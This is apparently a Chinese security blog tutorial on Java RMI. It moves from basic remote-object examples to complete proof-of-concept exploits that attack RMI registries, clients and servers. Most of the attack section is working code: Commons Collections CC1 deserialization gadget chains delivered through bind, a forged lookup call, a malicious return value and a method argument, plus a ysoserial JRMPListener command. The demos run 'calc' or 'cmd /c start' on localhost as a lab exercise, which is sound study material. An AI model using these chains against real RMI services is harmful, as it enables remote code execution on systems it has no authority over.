RMI

RMI:

RMI是什么:Java的RMI远程调用是指,一个JVM中的代码可以通过网络实现远程调用另一个JVM的某个方法。RMI是Remote Method Invocation的缩写。

提供服务的一方我们称之为服务器,而实现远程调用的一方我们称之为客户端。

概念图:

客户端:

存根/桩(Stub):远程对象在客户端上的代理;
远程引用层(Remote Reference Layer):解析并执行远程引用协议;
传输层(Transport):发送调用、传递远程方法参数、接收远程方法执行结果。

服务端:

骨架(Skeleton):读取客户端传递的方法参数,调用服务器方的实际对象方法, 并接收方法执行后的返回值;
远程引用层(Remote Reference Layer):处理远程引用后向骨架发送远程方法调用;
传输层(Transport):监听客户端的入站连接,接收并转发调用到远程引用层。

注册表(Registry):

以URL形式注册远程对象,并向客户端回复对远程对象的引用。

详细实现:

可远程调用接口的实现:

package RMIProject;

import java.rmi.Remote;
import java.rmi.RemoteException;

// 定义一个远程接口,继承java.rmi.Remote接口

public interface HelloInterface extends Remote {
    String Hello(String age) throws RemoteException;
}

可远程调用实现类的实现:

package RMIProject;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

// 远程接口实现类,继承UnicastRemoteObject类和Hello接口

public class HelloImp extends UnicastRemoteObject implements HelloInterface {

    private static final long serialVersionUID = 1L;

    protected HelloImp() throws RemoteException {
        super(); // 调用父类的构造函数
    }

    @Override
    public String Hello(String age) throws RemoteException {
        return "Hello" + age; // 改写Hello方法
    }
}

远程接口实现类必须继承UnicastRemoteObject类,用于生成 Stub(存根)和 Skeleton(骨架)。

Stub可以看作远程对象在本地的一个代理,囊括了远程对象的具体信息,客户端可以通过这个代理和服务端进行交互。

Skeleton可以看作为服务端的一个代理,用来处理Stub发送过来的请求,然后去调用客户端需要的请求方法,最终将方法执行结果返回给Stub。不过这部分会在创建对象的时候自动实现,如果对象继承了 UnicastRemoteObject,那在构造或导出过程中,RMI 运行时已经帮你把远程访问这套机制准备好了。

可远程调用对象的创建和绑定存根:

package RMIProject;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

// 服务端

public class RMIServer {
    public static void main(String[] args) {
        try {
            HelloInterface h  = new HelloImp(); // 创建远程对象HelloImp对象实例
            LocateRegistry.createRegistry(1099); // 在服务器获取RMI服务注册器,在默认端口1099加载
            Naming.rebind("rmi://localhost:1099/hello",h); // 绑定远程对象HelloImp到RMI服务注册器,./heelo路径是客户端查找它的标识
            System.out.println("RMIServer start successful");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

也可以用下面这两行实现创建存根并绑定的逻辑
Registry registry = LocateRegistry.createRegistry(1099); //创建注册表
registry.rebind("hello",hello);//将远程对象注册到注册表里面,并且设置值为hello

客户端调用对应远程对象的实现:

package RMIProject;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

// 客户端

public class RMIClient {
    public static void main(String[] args){
        try {
            HelloInterface h = (HelloInterface) Naming.lookup("rmi://localhost:1099/hello"); //通过对应路径寻找RMI实例远程对象,因此标出接口即可,只表示实现了哪些方法,而不关心具体实现
            System.out.println(h.Hello("run......"));
        }catch (MalformedURLException e) {
            System.out.println("url格式异常");
        } catch (RemoteException e) {
            System.out.println("创建对象异常");
        } catch (NotBoundException e) {
            System.out.println("对象未绑定");
        }
    }
} 

也可以用下面这串代码实现存根查找对象逻辑
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);//获取远程主机对象
// 利用注册表的代理去查询远程注册表中名为hello的对象
RemoteClass hello = (RemoteClass) registry.lookup("hello");

攻击注册中心:

在与注册中心进行交互中,bindrebindunbindlookup方法有readOpject方法,可以打反序列化链

POC1 – 基于bind/rebind
package rmi_injection_labs1.server;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.annotation.Documented;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class ServerAttackRegistryByBind {
    public static void main(String[] args) throws Exception {
        String execArgs = "cmd /c start";
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{execArgs}),
                new ConstantTransformer(1) };
        Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
        Field iTransformers = transformer.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain, transformers);
        final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
        final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);
        // 这个地方和原来的CC1写法不一样,要把LazyMap.class.getInterfaces()改成new Class[]{Map.class},LazyMap.class.getInterfaces()默认会过去到两个接口的Class,分别是Map和Serializable,但是这里只要一个Map才能触发
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
        InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);

        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        Remote r = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[] { Remote.class }, invocationHandler));
        registry.bind("test",r);
    }
}
POC2 – 基于unbind/looup
package rmi_injection_labs1.server;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.annotation.Documented;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class ServerAttackRegistryUnBuild {
    public static void main(String[] args) throws Exception {
        // ======================这一段就是POC1中的bind/rebuild攻击链代码======================
        String execArgs = "cmd /c start";
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{execArgs}),
                new ConstantTransformer(1) };
        Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
        Field iTransformers = transformer.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain, transformers);
        final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
        final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
        InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        Remote r = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[] { Remote.class }, invocationHandler));
        // ========================从这里不一样了======================
        // 获取ref
        Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
        //获取operations
        Field[] fields_1 = registry.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry);
        // 伪造lookup的代码,去伪造传输信息
        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(r);
        ref.invoke(var2);
    }
}

攻击客户端

注册中心攻击客户端:

ysoserial攻击:

攻击者启动一个伪造的 RMI Registry(JRMPListener),当客户端调用 list()lookup()有返回值的方法时,伪造的 Registry 不返回正常数据,而是直接返回 ysoserial 生成的恶意序列化对象。客户端 RMI 运行库在接收响应时会自动调用 ObjectInputStream.readObject() 反序列化该数据,若客户端 ClassPath 中存在 commons-collections 等漏洞依赖,就会触发反序列化 gadget 链,最终执行任意命令。

攻击端启动命令(bash):

# 启动伪造的 RMI Registry,监听 12345 端口,绑定 CC1 弹计算器 payload
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 "calc"

受害者客户端:

package lab.client;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;

public class VictimClient {
    public static void main(String[] args) {
        String host = "127.0.0.1";
        int port = 12345;

        try {
            System.out.println("[*] 正在连接恶意 RMI Registry: " + host + ":" + port);
            // 仅创建本地 Stub,不建立网络连接
            Registry registry = LocateRegistry.getRegistry(host, port);

            System.out.println("[*] 调用 registry.list(),等待服务端响应...");
            // 🔥 关键触发点:底层会建立连接 -> 发送请求 -> 接收响应 -> 自动反序列化
            String[] result = registry.list();

            // ⚠️ 注意:即使返回类型不匹配导致 ClassCastException,
            //    恶意代码也已在 readObject() 阶段执行完毕
            System.out.println("[+] 返回结果: " + Arrays.toString(result));
        } catch (Exception e) {
            System.err.println("[-] 异常捕获: " + e.getClass().getName() + " - " + e.getMessage());
            e.printStackTrace();
        }
    }
}

只要客户端调用list()bind()等有反序列化方法的方法,就会触发恶意链。

服务端攻击客户端:

客户端调用远程对象的远程方法时服务端返回恶意序列化对象
服务端:

package rmi_injection_labs1.service;

import java.rmi.RemoteException;
public interface User extends java.rmi.Remote {
    public Object getUser() throws RemoteException;
}

User接口,RMI 要求所有远程方法必须声明在继承 java.rmi.Remote 的接口中,且抛出 RemoteException

package rmi_injection_labs1.server;

import rmi_injection_labs1.service.LocalUser;
import rmi_injection_labs1.service.User;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.CountDownLatch;

public class LocalUserServer {
    public static void main(String[] args) throws Exception {
        User liming = new LocalUser("liming",15);
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.bind("user",liming);
        System.out.println("registry is running...");
        System.out.println("liming is bind in registry");
        CountDownLatch latch=new CountDownLatch(1);
        latch.await();
    }
}

创建注册中心

package rmi_injection_labs1.service;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Documented;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;
public class LocalUser extends UnicastRemoteObject implements User {
    public String name;
    public int age;
    public LocalUser(String name, int age) throws RemoteException {
        super();
        this.name = name;
        this.age = age;
    }

    @Override
    public Object getUser() throws RemoteException {
        InvocationHandler invocationHandler = null;
        try{
            String execArgs = "cmd /c start";
            final Transformer transformerChain = new ChainedTransformer(
                    new Transformer[]{ new ConstantTransformer(1) });
            final Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {
                            String.class, Class[].class }, new Object[] {
                            "getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] {
                            Object.class, Object[].class }, new Object[] {
                            null, new Object[0] }),
                    new InvokerTransformer("exec",
                            new Class[] { String.class }, new Object[]{execArgs}),
                    new ConstantTransformer(1) };
            Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
            Field iTransformers = transformer.getDeclaredField("iTransformers");
            iTransformers.setAccessible(true);
            iTransformers.set(transformerChain, transformers);
            final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
            final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
            ctor.setAccessible(true);
            InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);
            Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
            invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);
        }catch (Exception ignored){
            throw new RemoteException("生成poc代码失败");
        }
        return invocationHandler;
    }
}

定义恶意方法

客户端:

package rmi_injection_labs1.client;

import rmi_injection_labs1.service.User;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class LocalUserServerAttack2ClientByCC1 {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        User user = (User) registry.lookup("user");
        user.getUser();
    }
}

调用远程恶意方法

攻击服务端

客户端将恶意序列化对象给服务端反序列化
服务端:

package rmi_injection_labs1.service;
import java.rmi.RemoteException;
public interface User extends java.rmi.Remote {
    public Object getUser() throws RemoteException;
    public void addUser(Object user) throws RemoteException;
}

客户端:

package rmi_injection_labs1.client;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import rmi_injection_labs1.service.User;
import java.lang.annotation.Documented;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class LocalUserClientAttack2ServerByCC1 {
    public static void main(String[] args) throws Exception {
        String execArgs = "cmd /c start";
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{execArgs}),
                new ConstantTransformer(1) };
        Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
        Field iTransformers = transformer.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain, transformers);
        final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
        final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
        InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);
        // ================addUser(Object obj) Object在服务端会被反序列化所以会触发对应的CC1攻击链
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        User user = (User) registry.lookup("user");
        user.addUser(invocationHandler);
    }
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇